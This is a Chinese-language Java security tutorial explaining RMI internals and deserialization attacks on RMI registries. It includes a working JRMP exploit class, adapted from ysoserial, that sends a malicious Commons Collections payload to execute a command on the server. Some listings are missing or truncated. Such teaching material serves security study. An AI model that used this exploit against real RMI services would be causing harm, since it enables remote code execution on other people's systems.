RMI

    RMI架构:

    RMI底层通讯采用了Stub(运行在客户端)Skeleton(运行在服务端)机制,RMI调用远程方法的大致如下:

    1. RMI客户端在调用远程方法时会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)
    2. Stub会将Remote对象传递给远程引用层(java.rmi.server.RemoteRef)并创建java.rmi.server.RemoteCall(远程调用)对象。
    3. RemoteCall序列化RMI服务名称Remote对象。
    4. RMI客户端远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式传输到RMI服务端远程引用层
    5. RMI服务端远程引用层(sun.rmi.server.UnicastServerRef)收到请求会请求传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)
    6. Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化。
    7. Skeleton处理客户端请求:bindlistlookuprebindunbind,如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端。
    8. RMI客户端反序列化服务端结果,获取远程对象的引用。
    9. RMI客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。
    10. RMI客户端反序列化RMI远程方法调用结果。

    第一步我们需要先启动RMI服务端,并注册服务。

    RMI服务端注册服务代码:

    程序运行结果:

    1. RMI服务启动成功,服务地址:rmi://127.0.0.1:9527/test

    Naming.bind(RMI_NAME, new RMITestImpl())绑定的是服务端的一个类实例,RMI客户端需要有这个实例的接口代码(RMITestInterface.java),RMI客户端调用服务器端的RMI服务时会返回这个服务所绑定的对象引用,RMI客户端可以通过该引用对象调用远程的服务实现类的方法并获取方法执行结果。

    RMITestInterface示例代码:

    服务端RMITestInterface实现代码示例代码:

    1. package com.anbai.sec.rmi;
    2. import java.rmi.RemoteException;
    3. import java.rmi.server.UnicastRemoteObject;
    4. public class RMITestImpl extends UnicastRemoteObject implements RMITestInterface {
    5. private static final long serialVersionUID = 1L;
    6. protected RMITestImpl() throws RemoteException {
    7. super();
    8. }
    9. /**
    10. * RMI测试方法
    11. *
    12. * @return 返回测试字符串
    13. */
    14. @Override
    15. public String test() throws RemoteException {
    16. }
    17. }

    RMI客户端示例代码:

    程序运行结果:

    1. Hello RMI~

    RMI通信中所有的对象都是通过Java序列化传输的,在学习Java序列化机制的时候我们讲到只要有Java对象反序列化操作就有可能有漏洞。

    既然RMI使用了反序列化机制来传输Remote对象,那么可以通过构建一个恶意的Remote对象,这个对象经过序列化后传输到服务器端,服务器端在反序列化时候就会触发反序列化漏洞。

    首先我们依旧使用上述com.anbai.sec.rmi.RMIServerTest的代码,创建一个RMI服务,然后我们来构建一个恶意的Remote对象并通过bind请求发送给服务端。

    RMI客户端反序列化攻击示例代码:

    程序执行后将会在RMI服务端弹出计算器(仅Mac系统,Windows自行修改命令为calc),RMIExploit程序执行的流程大致如下:

    1. 使用LocateRegistry.getRegistry(host, port)创建一个RemoteStub对象。
    2. 构建一个适用于Apache Commons Collections的恶意反序列化对象(使用的是LazyMap+AnnotationInvocationHandler组合方式)。
    3. 使用RemoteStub调用RMI服务端bind指令,并传入一个使用动态代理创建出来的Remote类型的恶意AnnotationInvocationHandler对象到RMI服务端
    4. RMI服务端接受到bind请求后会反序列化我们构建的恶意Remote对象从而触发Apache Commons Collections漏洞的RCE

    image-20191231154833818

    上图可以看到我们构建的恶意Remote对象会通过RemoteCall序列化然后通过RemoteRef发送到远程的RMI服务端

    RMI服务端bind反序列化:

    具体的实现代码在:sun.rmi.registry.RegistryImpl_Skel类的dispatch方法,其中的$param_Remote_2就是我们RMIExploit传入的恶意Remote的序列化对象。

    JRMP接口的两种常见实现方式:

    1. JRMP协议(Java Remote Message Protocol)RMI专用的Java远程消息交换协议

    由于RMI数据通信大量的使用了Java的对象反序列化,所以在使用RMI客户端去攻击RMI服务端时需要特别小心,如果本地RMI客户端刚好符合反序列化攻击的利用条件,那么RMI服务端返回一个恶意的反序列化攻击包可能会导致我们被反向攻击。

    我们可以通过和RMI服务端建立Socket连接并使用RMIJRMP协议发送恶意的序列化包,RMI服务端在处理JRMP消息时会反序列化消息对象,从而实现RCE

    1. package com.anbai.sec.rmi;
    2. import sun.rmi.server.MarshalOutputStream;
    3. import sun.rmi.transport.TransportConstants;
    4. import java.io.DataOutputStream;
    5. import java.io.IOException;
    6. import java.io.ObjectOutputStream;
    7. import java.io.OutputStream;
    8. import java.net.Socket;
    9. import static com.anbai.sec.rmi.RMIServerTest.RMI_HOST;
    10. import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;
    11. * 利用RMI的JRMP协议发送恶意的序列化包攻击示例,该示例采用Socket协议发送序列化数据,不会反序列化RMI服务器端的数据,
    12. * 所以不用担心本地被RMI服务端通过构建恶意数据包攻击,示例程序修改自ysoserial的JRMPClient:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPClient.java
    13. */
    14. public class JRMPExploit {
    15. public static void main(String[] args) throws IOException {
    16. if (args.length == 0) {
    17. // 如果不指定连接参数默认连接本地RMI服务
    18. args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "open -a Calculator.app"};
    19. }
    20. // 远程RMI服务IP
    21. final String host = args[0];
    22. // 远程RMI服务端口
    23. final int port = Integer.parseInt(args[1]);
    24. // 需要执行的系统命令
    25. final String command = args[2];
    26. // Socket连接对象
    27. Socket socket = null;
    28. // Socket输出流
    29. OutputStream out = null;
    30. try {
    31. // 创建恶意的Payload对象
    32. Object payloadObject = RMIExploit.genPayload(command);
    33. // 建立和远程RMI服务的Socket连接
    34. socket = new Socket(host, port);
    35. socket.setKeepAlive(true);
    36. socket.setTcpNoDelay(true);
    37. // 获取Socket的输出流对象
    38. out = socket.getOutputStream();
    39. // 将Socket的输出流转换成DataOutputStream对象
    40. DataOutputStream dos = new DataOutputStream(out);
    41. // 创建MarshalOutputStream对象
    42. ObjectOutputStream baos = new MarshalOutputStream(dos);
    43. // 向远程RMI服务端Socket写入RMI协议并通过JRMP传输Payload序列化对象
    44. dos.writeInt(TransportConstants.Magic);// 魔数
    45. dos.writeShort(TransportConstants.Version);// 版本
    46. dos.writeByte(TransportConstants.SingleOpProtocol);// 协议类型
    47. dos.write(TransportConstants.Call);// RMI调用指令
    48. baos.writeLong(2); // DGC
    49. baos.writeInt(0);
    50. baos.writeLong(0);
    51. baos.writeShort(0);
    52. baos.writeInt(1); // dirty
    53. baos.writeLong(-669196253586618813L);// 接口Hash值
    54. // 写入恶意的序列化对象
    55. baos.writeObject(payloadObject);
    56. dos.flush();
    57. } catch (Exception e) {
    58. e.printStackTrace();
    59. } finally {
    60. // 关闭Socket输出流
    61. if (out != null) {
    62. out.close();
    63. }
    64. // 关闭Socket连接
    65. if (socket != null) {
    66. socket.close();
    67. }
    68. }
    69. }

    测试流程同上面的RMIExploit,这里不再赘述。